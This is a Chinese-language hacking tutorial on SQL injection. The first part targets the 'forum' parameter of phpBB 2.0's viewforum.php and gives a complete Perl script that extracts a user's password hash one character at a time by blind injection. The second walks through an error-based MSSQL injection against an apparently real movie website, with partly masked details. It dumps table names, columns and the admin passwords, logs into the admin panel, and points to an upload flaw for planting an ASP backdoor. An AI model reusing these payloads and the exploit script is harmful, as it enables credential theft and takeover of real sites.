PHP注入实例
在网上很难看到一篇完整的关于php注入的文章和利用代码,于是我自已把mysql和php硬啃了几个星期,下面说说我的休会吧,希望能抛砖引玉!
相信大家对asp的注入已经是十分熟悉了,而对php的注入比asp要困难,因为php的magic_gpc选项确实让人头疼,在注入中不要出现引号,而php大多和mysql结合,而mysql的功能上的缺点,从另外一人角度看确在一定程度上防止了sql njection的攻击,我在这里就举一个实例吧,我以phpbb2.0为例:
在viewforum.php中有一个变量没过滤:
if ( isset($HTTP_GET_VARS<pOST_FORUM_URL]) ││ isset($HTTP_POST_VARS<pOST_FORUM_URL]) )
{
$forum_id = ( isset($HTTP_GET_VARS<pOST_FORUM_URL]) ) ? intval($HTTP_GET_VARS<pOST_FORUM_URL]): intval
($HTTP_POST_VARS<pOST_FORUM_URL]);
}
else if ( isset($HTTP_GET_VARS['forum']))
{
$forum_id = $HTTP_GET_VARS['forum'];
}
else
{
$forum_id = '';
}
就是这个forum,而下面直接把它放进了查询中:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain forums information', '', __LINE__, __FILE__, $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}
如果是asp的话,相信很多人都会注入了.如果这个forum_id指定的论坛不存在的话,就会使$result为空,于是返回Could not obtain forums information的信息,于是下面的代码就不能执行下去了
//
// If the query doesn't return any rows this isn't a valid forum. Inform
// the user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}
//
// Start session management
//
$userdata = session_pagestart($user_ip, $forum_id) /****************************************
关键就是打星号的那一行了,这里是一个函数session_pagestart($user_ip, $thispage_id),这是在session.php中定义的一个函数,由于代码太
长,就不全贴出来了,有兴趣的可以自已看看,关键是这个函数还调用了session_begin(),函数调用如下session_begin($user_id, $user_ip,
$thispage_id, TRUE)),同样是在这个文件中定义的,其中有如下代码
$sql = "UPDATE " . SESSIONS_TABLE . "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =
$page_id, session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));
$sql = "INSERT INTO " . SESSIONS_TABLE . "
(session_id, session_user_id, session_start, session_time, session_ip, session_page,
session_logged_in)
valueS ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, 'Error creating new session : session_begin', '', __LINE__, __FILE__,
$sql);
}
在这里有个session_page在mysql中定义的是个整形数,他的値$page_id,也就是$forum_id,如果插入的不是整形就会报错了,就会出现Error
creating new session : session_begin的提示,所以要指这$forum_id的值很重要,所以我把它指定为:-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57,没有引号吧!虽然指定的是一个不存在的forum_id但他返回的查询结果可不一定是为空,这个就是猜user_id为2的用户的第一位密码的ascii码值是是否为57,如果是的话文章中第一段代码中的$result可不为空了,于是就执行了ession_pagestart这个有问题的函数,插入的不是整数当然就要出错了,于是就显示Error creating new session : session_begin,就表明你猜对了第一位了,其它位类似.
如果没有这句出错信息的话我想即使注入成功也很难判断是否已经成功,看来出错信息也很有帮助啊.分析就到这里,下面附上一段测试代码,这段代码只要稍加修改就能适用于其它类似的猜md5密码的情况,这里我用的英文版的返回条件,中文和其它语言的只要改一下返回条件就行了.
use HTTP::Request::Common;
use HTTP::Response;
use LWP::UserAgent;
$ua = new LWP::UserAgent;
print " ***********************
";
print " phpbb viewforum.php exp
";
print " code by pinkeyes
";
print "
www.icehack.com";
print " ************************
";
print "please enter the weak file's url:
";
print "e.g.
http://192.168.1.4/phpBB2/viewforum.php";
$adr=<STDIN>;
chomp($adr);
print "please enter the user_id that you want to crack
";
$u=<STDIN>;
chomp($u);
print "work starting,please wait!
";
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$j<=32;$j++){
for ($i=0;$i<@pink;$i++){
$url=$adr."?forum=-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%
20user_id=$u%20and%20ord(substring(user_password,$j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua->request($request);
if ($response->is_success) {
if ($response->content =~ /Error creating new session/) {
$pwd.=chr($pink[$i]);
print "$pwd
";
}
}
}
}
if ($pwd ne ""){
print "successfully,The password is $pwd,good luck
";}
else{
print "bad luck,work failed!
";}
至于以前的phpbb2.0.6的search.php的问题利用程序只要将上面代码稍加修改就行了。
主要是看过程,学习作者思维!
SQL注入新技巧
SQL注入的新技巧
表名和字段名的获得
适用情况:
1)数据库是MSSQL
2)连接数据库的只是普通用户
3)不知道ASP源代码
可以进行的攻击
1)对数据内容进行添加,查看,更改
实例:
本文件以
http://www.dy***.com/user/wantpws.asp
为列进行测试攻击。
第一步:
在输入用户名处输入单引号,显示
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 ''' 之前有未闭合的引号。
/user/wantpws.asp,行63
说明没有过滤单引号且数据库是MSSQL.
第二步:
输入a';use master;--
显示
Microsoft OLE DB Provider for SQL Server 错误 '80040e21'
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/user/wantpws.asp,行63
这样说明没有权限了。
第三步:
输入:a' or name like 'fff%';--
显示有一个叫ffff的用户哈。
第四步:
在用户名处输入
ffff' and 1<>(select count(email) from [user]);--
显示:
Microsoft OLE DB Provider for SQL Server 错误 '80040e37'
对象名 'user' 无效。
/user/wantpws.asp,行96
说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.
(东方飘云的一个办法是输入a' having 1=1--
一般返回如下也就可以直接得到表名和一个字段名了
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.ID' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
/user/wantpws.asp,行63
)
现在我们知道了ffff用户的密码是111111.
下面通过语句得到数据库中的所有表名和字段名。
第五步:
输入:
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
同上可知id是:581577110
由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk
经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的
第六步:猜重要表的字段
输入:
现在就看看users表有哪些字段
ffff';update [users] set email=(select top 1 col_name(object_id('users'),3) from users) where name='ffff';--
得到第三个字段是password
ffff';update [users] set email=(select top 1 col_name(object_id('users'),4) from users) where name='ffff';--
得到第四个字段是name
最后users表的字段共28个全得到了
(注:另一个得到字段的办法,前提是系统的返回出错信息
a' group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.userid' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/user/wantpws.asp,行63
这个第二个字段就是userid
显示第三个字段。
a' group by id,userid having 1=1--
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
列 'users.password' 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
/user/wantpws.asp,行63
得到是password
同理,一直显示出所有。:)
)
users表
1 2 3 4
id userid password name
5 6 7 8 9 10 11 12 13 14 15 16
Province homeaddress city adress starlook sex email nlook nos date money send
17 18 19 20 21 22 23 24 25 26 27 28
oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note
starlook--12 10 2003 2:41PM
nlook---0
nos---2 登陆次数
date--12 10 2003 12:00AM 注册时间?
money--同上
send--空
oklook--0
dnlook--0
getmoney--0
state--0
note--这家伙很。。。 说明
password表
1 2 3
id name pwd
然后我又试ad原来是用来记录广告击点的。。
然后又试password表得到有name和pwd字段。
执行
ffff';update [users] set email=(select top 1 name from password) where name='ffff';--
可得第一个用户名是admin123看样儿多半是管理员了。
然后又得到了密码是dy***dick188还是打星号算了哈哈...
这样我们就完全进入了这个电影网站的后台了哈哈。
http://www.dy***.com/login.asp
再进一步还可以知道管理员一共有三人密码也都能看到了。
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
只是能免费看电影好象还不够哈..我看了看它的后台管理原来在
添加电影的地方对于上传的图片没有过滤.asa的文件,这样我就
能上传一个asp后门并执行.
(全文完)如果有人不明白.......